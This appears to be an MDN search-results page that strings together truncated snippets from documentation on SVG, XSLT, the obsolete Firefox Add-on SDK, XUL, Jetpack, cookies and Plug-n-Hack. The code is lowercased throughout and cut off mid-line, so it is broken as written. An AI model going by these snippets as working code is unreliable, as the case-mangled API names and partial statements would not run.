... --> <lineargradient id="mygradient"> <stop offset="0" stop-color="green" /> </lineargradient> </defs> <text x="10" y="20">circles colored with solidcolor</text> <circle cx="150" cy="65" r="35" stroke-width="2" stroke="url(#mycolor)" fill="white"/> <circle cx="50" cy="65" r="35" fill="url(#mycolor)"/> <text x="10" y="120">circles colored with lineargradient</text> <circle cx="150" cy="165" r="35" stroke-width="2" stroke="url(#mygradient)" fill="white"/> <circle cx="50" cy="165" r="35" fill="url(#mygradient)"/> </svg> result ...
Example - SVG: Scalable Vector Graphics
in this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
...view the example <?xml version='1.0'?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <title>a swarm of motes</title> <style type='text/css'> <![cdata[ label, input { width: 150px; display: block; float: left; margin-bottom: 10px; } label { text-align: right; width: 75px; padding-right: 20px; } br { clear: left; } ]]> </style> </head> <body onload='update(...
... </div> <form action="" onsubmit="return false;"> <p> <label>number of motes:</label> <input id='num_motes' value='5'/> <br/> <label>max.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
source here is the source to the example: <html> <head> <title>xtech svg demo</title> <style> stop.begin { stop-color:yellow; } stop.end { stop-color:green; } body.invalid stop.end { stop-color:red; } #err { display:none; } body.invalid #err { display:inline; } </style> <script> function signalerror() { document.getelementbyid('body').setattribute("class", "invalid"); } </script> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> <legend>html form</legend> <p><label>enter something:</label> <input type="text"> <span id="err">incorrect value!</span></p> <p><input type="button" value="activate!" onclick="signalerror();"></p> ...
... </fieldset> </form> <svg viewbox="0 0 100 100" preserveaspectratio="xmidymid slice" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"> <lineargradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </lineargradient> <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /> </svg> </body> </html> discussion the page is mainly regular html, css and javascript.
...like in the following example: var img = document.createelementns("http://www.w3.org/2000/svg", "image"); img.setattributens("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); details the viewbox attribute establishes a logical coordinate system which the svg picture's coordinates are relative to.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
<html> <head> <base href="https://mydomain.com"> <style> .link { stroke: #999; stroke-opacity: .6; } marker#arrow { fill: black; } </style> </head> <body> <svg width="100%" height="100%" xml:base=""> <defs> <marker id="arrow" viewbox="0 -5 10 10" refx="0" refy="0" markerwidth="20" markerheight="20" orient="auto"> <path d="m0,-5l10,0l0,5"></path> </marker> </defs> <line x1="100" y1=...
..."100" x2="333" y2="333" marker-start="url(#arrow)" class="link"></line> </svg> </body> </html> imagine a svg with font references.
... <svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypass cors issue while not changing the base uri for your entire document.
<xsl:message> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementmessage
syntax <xsl:message terminate="yes" | "no" > template </xsl:message> required attributes none.
... optional attributes terminate set to "yes", indicates that execution should be terminated.
... the default value is "no", in which case the message is output and execution continues.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
var testtransform = document.implementation.createdocument("", "test", null); // just an example to get a transform into a script as a dom // xmldocument.load is asynchronous, so all processing happens in the // onload handler testtransform.addeventlistener("load", onload, false); testtransform.load("test-transform.xml"); function onload() { processor.importstylesheet(testtransform); } xsltprocessor.importstylesheet() requires one argument, a dom node.
... var ownerdocument = document.implementation.createdocument("", "test", null); var newfragment = processor.transformtofragment(domtobetransformed, ownerdocument); xsltprocessor.transformtofragment() will only produce html dom objects if the owner document is itself an htmldocument, or if the output method of the stylesheet is html.
... instead of this: var processor = new xsltprocessor(); do this: var processor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); see also the xslt javascript interface in gecko document.load() regarding the loading of xml documents (as used above) original document information author(s): mike hearn last updated date: december 21, 2005 copyright information: copyright (c) mike hearn...
self - Archive of obsolete content
if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
... on() start listening to messages from the main add-on code: self.on("message", function(addonmessage) { // handle the message }); this takes two parameters: the name of the event, and the handler function.
Classes and Inheritance - Archive of obsolete content
to illustrate this, let's add a member function to the class shape: shape.prototype.draw = function () { throw error("not yet implemented"); } let shape = shape(2, 3); shape.draw(); // => error: not yet implemented inheritance and constructors suppose we want to create a new class, circle, and inherit it from shape.
...for instance, to define a constructor for a class shape in terms of class, we can write: let shape = class({ initialize: function (x, y) { this.x = x; this.y = y; }, draw: function () { throw new error("not yet implemented"); } }); the property initialize is special.
Private Properties - Archive of obsolete content
it's defined in the module "core/namespace", and it's use is straightforward.
... to illustrate this, the following reimplements the class point using namespaces: const { ns } = require("sdk/core/namespace"); var internal = ns(); function point(x, y) { internal(this).x = x; internal(this).y = y; } point.prototype.getx = function () { return internal(this).x; }; point.prototype.setx = function (x) { internal(this).x = x; }; point.prototype.gety = function () { return internal(this).y; }; point.prototype.sety = function () { internal(this).y = y; }; as a final note, the function ns returns a namespace that uses the namespace associated with the prototype of the object as its prototype.
addon-page - Archive of obsolete content
you can supply the content in an html file in your add-on's "data" directory.
...after this, the page loaded from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally.
hotkeys - Archive of obsolete content
var { hotkey } = require("sdk/hotkeys"); var showhotkey = hotkey({ combo: "accel-shift-o", onpress: function() { showmypanel(); } }); var hidehotkey = hotkey({ combo: "accel-alt-shift-o", onpress: function() { hidemypanel(); } }); choosing hotkeys hotkeys should be chosen with care.
... parameters options : object required options: name type combo string any function key: "f1, f2, ..., f24" or key combination in the format of 'modifier-key': "accel-s" "meta-shift-i" "control-alt-d" all hotkeys require at least one modifier as well as the key.
self - Archive of obsolete content
the url can be passed to a content frame constructor, such as the panel: var self = require("sdk/self"); var mypanel = require("sdk/panel").panel({ contenturl: self.data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... so you can rewrite the above code like this: var mypanel = require("sdk/panel").panel({ contenturl: "./myfile.html" }); mypanel.show(); parameters name : string the filename to be read, relative to the package's data directory.
content/loader - Archive of obsolete content
example: the following code creates a wrapper on a hidden frame that reloads a web page in the frame every time the contenturl property is changed: var hiddenframes = require("sdk/frame/hidden-frame"); var { loader } = require("sdk/content/content"); var pageloader = loader.compose({ constructor: function pageloader(options) { options = options || {}; if (options.contenturl) this.contenturl = options.contenturl; this.on('propertychange', this._onchange = this._onchange.bind(this)); let self = this; hiddenframes.add(hiddenframes.hiddenframe({ ...
...this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload e...
content/mod - Archive of obsolete content
for example, the following code applies a style to a content window, adding a border to all divs in page: var attachto = require("sdk/content/mod").attachto; var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the content page we want to modify attachto(style, window); parameters modification : object the modification we want to apply to the target.
... for example, the following code applies and removes a style to a content window, adding a border to all divs in page: var { attachto, detachfrom } = require("sdk/content/mod"); var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the content page we want to modify attachto(style, window); // ...
frame/utils - Archive of obsolete content
execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a privileged document.
...defaults to "content".
lang/type - Archive of obsolete content
ng/type'); var obj = { name: undefined, twitter: '@horse_js', tweets: [ { id: 100, text: 'what happens to you if you break the monad laws?' }, { id: 101, text: 'javascript dubstep generator' } ] }; console.log(source(obj)); // prints the below /* { // [object object] // writable configurable enumerable name: undefined, // writable configurable enumerable twitter: "@horse_js", // writable configurable enumerable tweets: [ { // [object object] // writable configurable enumerable id: 100, // writable configurable enumerable text: "what happens to you if you break the monad laws?", "__proto__": { // [object object] } }, { // [object object] // wr...
...itable configurable enumerable id: 101, // writable configurable enumerable text: "javascript dubstep generator", "__proto__": { // [object object] } } ], "__proto__": { // [object object] } } */ parameters value : mixed the source object to create a textual representation of.
net/xhr - Archive of obsolete content
threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties.
... finally, we need to also consider attenuating http/https requests such that they're "sandboxed" and don't communicate potentially sensitive cookie information.
places/favicon - Archive of obsolete content
let { getfavicon } = require("sdk/places/favicon"); // string example getfavicon("http://mozilla.org").then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); // tab example require("sdk/tabs").open({ url: "http://mozilla.org", onready: function (tab) { getfavicon(tab).then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico ...
...}); } }); // an optional callback can be provided to handle // the promise's resolve and reject states getfavicon("http://mozilla.org", function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); parameters object : string|tab a value that represents the url of the page to get the favicon url from.
places/history - Archive of obsolete content
example let { search } = require("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results wi...
...// we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by pas...
preferences/event-target - Archive of obsolete content
globals constructor prefstarget(options) parameters options : object required options: name type branchname string by default this is "", the root.
... example var { prefstarget } = require("sdk/preferences/event-target"); // listen to the same branch which reqire("sdk/simple-prefs") does var target = prefstarget({ branchname: "extensions." + require("sdk/self").preferencesbranch + "." }); target.once("test", function(prefname) { console.log(prefname) // logs "test" console.log(target.prefs[name]) // logs true }); target.once("", function() { console.log(prefname) // logs "test" console.log(target.prefs[name]) // logs true }) // changing a pref which our target listens to require("sdk/simple-prefs").prefs.test = true; ...
remote/child - Archive of obsolete content
the sdk/remote/child module is for these "child process modules".
... at this point you can't access frame's content yet, but you can add event listeners: const { frames } = require("sdk/remote/child"); frames.on("attach", function(frame) { console.log("new frame"); frame.addeventlistener("domcontentloaded", function(e) { console.log(e.target.location.href); }); }); detach triggered when a frame is removed (for example, the user closed a tab).
system/runtime - Archive of obsolete content
"winnt", "darwin", or "linux".
...this string takes the form <processor>-<compilerabi>, for example: "x86-msvc" or "ppc-gcc3".
system/unload - Archive of obsolete content
it is called with a single argument, one of the following strings describing the reason for unload: "uninstall", "disable", "shutdown", "upgrade", or "downgrade".
...note that if an add-on is unloaded with reason "disable", it will not be notified about "uninstall" while it is disabled.
test/httpd - Archive of obsolete content
usage the most basic usage is: var { startserverasync } = require("sdk/test/httpd"); var srv = startserverasync(port, basepath); require("sdk/system/unload").when(function cleanup() { srv.stop(function() { // you should continue execution from this point.
... you can also use nshttpserver to start the server manually: var { nshttpserver } = require("sdk/test/httpd"); var srv = new nshttpserver(); // further documentation on developer.mozilla.org see http server for unit tests for general information.
util/deprecate - Archive of obsolete content
globals functions deprecatefunction(fun, msg) dump to the console the error message given in the second argument, prefixed with "deprecated:", and print the stacktrace; then execute the function passed as first argument and returns its value.
... parameters fun : function the function to execute after the error message msg : string the error message to display returns * : the returned value from fun deprecateusage(msg) dump to the console the error message given, prefixed with "deprecated:", and print the stacktrace.
Release notes - Archive of obsolete content
"./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs.
... firefox 28 highlights added wildcard event type "*".
Adding a Button to the Toolbar - Archive of obsolete content
create a directory called "data", mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png then open the file called "index.js" in the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" },...
... onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } now run the add-on with jpm run.
Displaying annotations - Archive of obsolete content
annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="...
...annotation"> </div> </body> </html> save this in data/annotation as annotation.html.
Overview - Archive of obsolete content
the simplest way to do this is to omit the "private-browsing" key from the add-on's "package.json" file.
... getting started let's get started by creating a directory called "annotator".
List Open Tabs - Archive of obsolete content
the following add-on adds an action button that logs the urls of open tabs when the user clicks it: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) console.log(tab.url); } note: to get this working, you will need to save an icon for the button to your add-on's "data" directory as "icon-16.png".
...the script adds a red border to the tab's document: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) runscript(tab); } function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with t...
Listen for Page Load - Archive of obsolete content
the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console.
...the script adds a red border to the tab's document: require("sdk/tabs").on("ready", runscript); function runscript(tab) { tab.attach({ contentscript: "if (document.body) document.body.style.border = '5px solid red';" }); } (this example is only to show the idea: to implement something like this, you should instead use page-mod, and specify "*" as the match-pattern.) learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Developing for Firefox Mobile - Archive of obsolete content
android platform tools will have installed adb in the "platform-tools" directory under the directory in which you installed the android sdk.
... make sure the "platform-tools" directory is in your path.
Using XPCOM without chrome - Archive of obsolete content
// this removes the need to import ci and the xpcomutils const { class } = require("sdk/core/heritage"); const { unknown } = require('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //this event most often handles all events onitemchanged: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitemchanged", ...
..."bid: "+bid, "property: "+prop, "isanno: "+an, "new value: "+nv, "lastmod: "+lm, "type: "+type, "parentid:"+parentid, "aguid:"+aguid);0 // code to handle the event here } }); //we just have a class, but need an object.
Autocomplete - Archive of obsolete content
first, declare a panel with the "autocomplete" type, like so: <panel id="popup_autocomplete" type="autocomplete" noautofocus="true" /> now set the autocompletepopup attribute of your <browser> element to the id of the panel you just declared: <browser id="my_browser" ...
... autocompletepopup="popup_autocomplete" /> finally, make sure that the value of the browser.formfill.enable pref is set to true.
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = services.cookies.getcookiesfromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using services.cookies.enumerator rather than getcookiesfromhost().
... services.cookies.add(".host.example.com", "/cookie-path", "cookie_name", "cookie_value", is_secure, is_http_only, is_session, expiry_date); see also document.cookie nsicookie nsicookie2 nsicookieservice nsicookiemanager nsicookiemanager2 http cookies ...
Tabbox - Archive of obsolete content
handling onclosetab event assuming the tabbox, tabs, and tabpanels widgets with id's the same as their nodename, this function will correctly remove the current tab and tab panel for the onclosetab tabs event: function removetab(){ var tabbox = document.getelementbyid("tabbox"); var currentindex = tabbox.selectedindex; if(currentindex>=0){ var tabs=document.getelementbyid("tabs"); var tabpanels=document.getelementbyid("tabpanels"); tabpanels.removechild(tabpanels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work around if last tab is removed, widget fails to advance to next tab*/ if(-1 == tabbox.selectedindex && t...
... examples: .tabs-closebutton { list-style-image: url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image: url("chrome://global/skin/icons/close.gif"); } ...
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
... apagedescriptor (optional) a "descriptor" that allows the source to be retrieved from the network cache.
XPath - Archive of obsolete content
xml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj[i].text); } } else { var tobj = obj.evaluate("/root/field/item",obj.documentelement,null, xpathresult.any_type, null); var tmp = tobj.iteraten...
...ext(); while(tmp) { fields.push(tmp.textcontent); tmp = tobj.iteratenext(); } } alert(fields); } //here is the demo xml file for xpath <?xml version="1.0"?> <root> <field> <item>art_id</item> <item>psection</item> <item>qkind</item> <item>qtitle</item> <item>question</item> <item>pic</item> <item>answer1</item> <item>answer2</item> <item>answer3</item> <item>answer4</item> </field> </root> //add by mooring 2008-11-15 16:16 china ...
Offering a context menu for form controls - Archive of obsolete content
<overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
... window.addeventlistener("load", function() { let settargetoriginal = nscontextmenu.prototype.settarget; components.utils.reporterror(settargetoriginal); nscontextmenu.prototype.settarget = function(anode, arangeparent, arangeoffset) { settargetoriginal.apply(this, arguments); if (this.istargetaformcontrol(anode)) this.shoulddisplay = true; }; }, false); this code, which is run when the window is opened up, works by replacing the settarget() routine for the prototype of nscontextmenu with one that forces the context menu to display if the target of the menu is a form control.
Appendix: What you should know about open-source software licenses - Archive of obsolete content
this software is provided "as is" and without warranty.
...p02 openoffice.org joint copyright assignment (jca) http://www.openoffice.org/licenses/jca.pdf gnu free documentation license (gfdl) http://www.gnu.org/licenses/fdl.html creative commons http://www.creativecommons.cc/ gnu gplv3 second discussion draft http://gplv3.fsf.org/gpl-draft-2006-07-27.html gnu gplv3 third discussion draft http://gplv3.fsf.org/gpl-draft-2007-03-28.html gnu gplv3 "last call" discussion draft http://gplv3.fsf.org/gpl-draft-2007-05-31.html official support for oss japan’s ministry of economy, trade, and industry has issued “guidelines when considering deploying open-source software.” this report, which was prepared by the software information center study group as part of the information-technology promotion agency’s (ipa) “platform-technology de...
Creating a Web based tone generator - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output.
... } var k = 2* math.pi * frequency / samplerate; for (var i=0, size=sounddata.length; i<size; i++) { sounddata[i] = math.sin(k * currentsoundsample++); } } var audiodestination = new audiodatadestination(samplerate, requestsounddata); function start() { currentsoundsample = 0; frequency = parsefloat(document.getelementbyid("freq").value); } function stop() { frequency = 0; } </script> </body> </html> ...
Environment variables affecting crash reporting - Archive of obsolete content
minidumps will still be moved to the "crash reports/pending" directory.
...minidumps will be stored in the user's profile directory, in a subdirectory named "minidumps".
Monitoring WiFi access points - Archive of obsolete content
<html> <head> <title>wifi monitor example</title> <script> var count = 0; function test() { } test.prototype = { onchange: function (accesspoints) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var d = document.getelementbyid("d"); d.innerhtml = ""; for (var i=0; i<accesspoints.length; i++) { var a = accesspoints[i]; d.innerhtml += "<p>" + a.mac + " " + a.ssid + " " + a.signal + "</p>"; } var c = document.getelementbyid("c"); c.innerhtml = "<p>" + count++ + "</p>"; }, onerror: function (value) { alert("error: " +value); }, queryinterface: function(iid) { netscape...
....enableprivilege('universalxpconnect'); if (iid.equals(components.interfaces.nsiwifilistener) || iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener = new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwatching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c"><p></p></div> </body> </html> the nsiwifilistener object the first thing the code above does is to prototype the listener object that will be receiving notifications of changes to the access point list.
Misc top level - Archive of obsolete content
images, tables, and mysterious gapsalmost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm.
...back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin.
Automated testing tips and tricks - Archive of obsolete content
xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created.
... in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Chromeless - Archive of obsolete content
firefox users could choose to turn a web page into a "prism application" and have an icon added to their desktop to launch it without the firefox user interface surrounding the page.
... however, prism "applications", being web pages, were subject to all the normal restrictions that browsers place on a web page.
Finding the file to modify - Archive of obsolete content
xul, which is short for xml-based user interface language (and is pronounced like "zool"), is an xml-based language specifically designed for describing application interfaces.
...to access it, go to the "tools" menu, select the "web development" submenu, then select the "dom inspector" item.
Making a Mozilla installation modifiable - Archive of obsolete content
the files are then collected into a series of jar archives, which are just zip files that contain a specially formatted "manifest" file which describes the contents of the archive so mozilla knows what to do with them.
...make sure you start the modified copy and not the default installation on your machine, and shut down "quick launch" if you are on windows and that feature is enabled.
Download Manager preferences - Archive of obsolete content
the user may check a "don't ask" box on the ui to toggle this.
... browser.download.manager.flashcount indicates the number of times the appropriate user interface element should be "flashed" to get the user's attention when a download completes.
Embedding FAQ - Archive of obsolete content
scroll down to "initalization and teardown.
...rt org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); ...
Fast Graphics Performance With HTML - Archive of obsolete content
use <div><div style="background:white; position:fixed">simple</div>lots of text...</div> instead of <div><div style="position:fixed">simple</div>lots of text...</div> make the content of scrollable sub frames opaque e.g.
... use <div style="overflow:scroll><div style="background:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
JSS build instructions for OSX 10.6 - Archive of obsolete content
howto successfully compile jss and nss for 32 and 64 bits on osx 10.6 (10.6.7) useful links: https://developer.mozilla.org/en/nss_reference/building_and_installing_nss/build_instructions https://developer.mozilla.org/jss_build_4.3.html ftp://ftp.mozilla.org/pub/mozilla.org/ <componente> /releases http://www.mozilla.org/projects/secu...using_jss.html steps: export all this: build_opt="1" cvsroot=":pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot" java_home=$(/usr/libexec/java_home") no_mdupdate="1" nsdistmode="copy" ns_use_gcc="1" create working dir: mkdir nss-jss cd nss-jss obtain source: altought manual said nspr_4_6_4_rtm, nss_3_11_4_rtm, jss_4_2_5_rtm, they didnt work for osx, giving many compiling errors.
... cvs login cvs co -r nspr_4_8_7_rtm nspr cvs co -r nss_3_12_9_with_ckbi_1_82_rtm nss cvs co -r jss_4_3_2_rtm jss build nss for 32 and 64: cd mozilla/security/nss make nss_build_all cc="gcc -arch i386" ccc="g++ -arch i386" make nss_build_all use_64=1 build jss for 32 and 64: cd ../jss make cc="gcc -arch i386" ccc="g++ -arch i386" make use_64=1 on osx, java.library.path doesnt seem to have /usr/lib or other paths.
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("me"); methods onfirstrun(funcfunction)jetpack.me.onfirstrun() allows jetpacks to be notified after they are successfully installed.
...inside the function, this is the jetpack's content.function example jetpack.me.onfirstrun(function(){ jetpack.notifications.show("oh boy, i'm installed!");}); ...
Jetpack Snippets - Archive of obsolete content
using firebug lite in a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); ...
...); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
slideBar - Archive of obsolete content
jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance.
...load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Metro browser chrome tests - Archive of obsolete content
a simple test looks like this: gtests.push({ desc: "test loading about:blank", setup: function () { }, teardown: function () { }, run: function () { yield addtab("about:blank"); is(tab.browser.currenturi.spec, "about:blank", "about:blank is loaded"); } }); function test() { runtests(); } gtests contains individual tests that make up the library of tests your test file will contain.
...your test file name must be prefixed with "browser_", and must have a file extension of ".js".
Plug-n-Hack Phase1 - Archive of obsolete content
for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
... an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localhost:8080/other/core/other/rootcert/" }, "commands":{ "prefix":"zap", "manifest":"http://localhost:8080/other/mitm/other/service/" } } } the top level manifest includes optional links to a proxy pac and a root ca certifi...
Hacking wiki - Archive of obsolete content
